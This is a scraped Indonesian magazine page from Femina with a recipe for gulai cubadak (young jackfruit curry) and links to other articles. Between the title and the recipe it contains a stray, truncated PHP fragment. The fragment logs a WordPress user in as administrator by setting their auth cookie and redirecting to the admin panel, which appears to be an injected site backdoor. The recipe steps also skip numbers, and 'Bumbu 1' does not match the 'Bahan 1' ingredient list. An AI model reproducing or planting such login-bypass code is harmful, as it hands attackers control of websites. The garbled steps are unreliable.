Gulai Cubadak Alias Gulai Nangka Muda Khas Minang

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Sayur

17 Oct 2022

Dok.Shutterstock

GULAI CUBADAK (Gulai Nangka)

Sedap dengan kuah gurih dari tulang sapi. Tip dari YouTuber masakan Minang, Dapur Uni ET, guna disisihkannya santan kental di permukaanadalah agar sayur tidak lekas basi.

Ambu-ambu adalah bumbu kelapa sangrai dan ketumbar yang dikeringkan. Beli di los minang di pasar tradisional atau di e-commerce.

Untuk 10 porsi

2 L santan kental
5 sdm ambu-ambu
Bahan 1:
50 g kunyit
40 g jahe
Garam, secukupnya
1 sdm ketumbar, butiran
1 buah pala utuh
6 siung bawang putih
100 g cabai rawit
150 g bawang merah
Bahan 2:
100 g cabai merah keriting, haluskan
50 g lengkuas, memarkan

10 cm kayu manis
8 buah cengkih
4 lembar daun salam
4 lembar daun jeruk, buang tulangnya
1 lembar daun kunyit, simpulkan
1 buah serai, memarkan
Bahan isi:
1 kg nangka muda, siangi
3 buah kacang panjang, potong-potong
1 kg tulang sapi dan 1 L kaldunya

1/ Di ulekan, haluskan Bumbu 1 secara bertahap.

2/ Masukkan lengkuas dan serai, memarkan.

3/ Ke dalam wajan besar, masukkan bumbu halus, Bahan 2, dan Bahan Isi, aduk rata

4/ Panaskan dalam kondisi tertutup selama 15 menit. Aduk sesekali. Saat nangka setengah lunak, tuang santan. Didihkan.

8/ Saat mendidih, angkat santan kental di permukaan. Sisihkan. Masukkan ambu-ambu, masak hingga nangka empuk.

10/ Masukkan santan kental yang tadi disisihkan. Bumbui dengan garam bila kurang asin. Sajikan hangat. (f)

Trifitria Nuragustina

Topic
#gulaicubadak , #masakanminang

Masakan Minang Bersalin Rupa

Resep Kalio Ayam

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id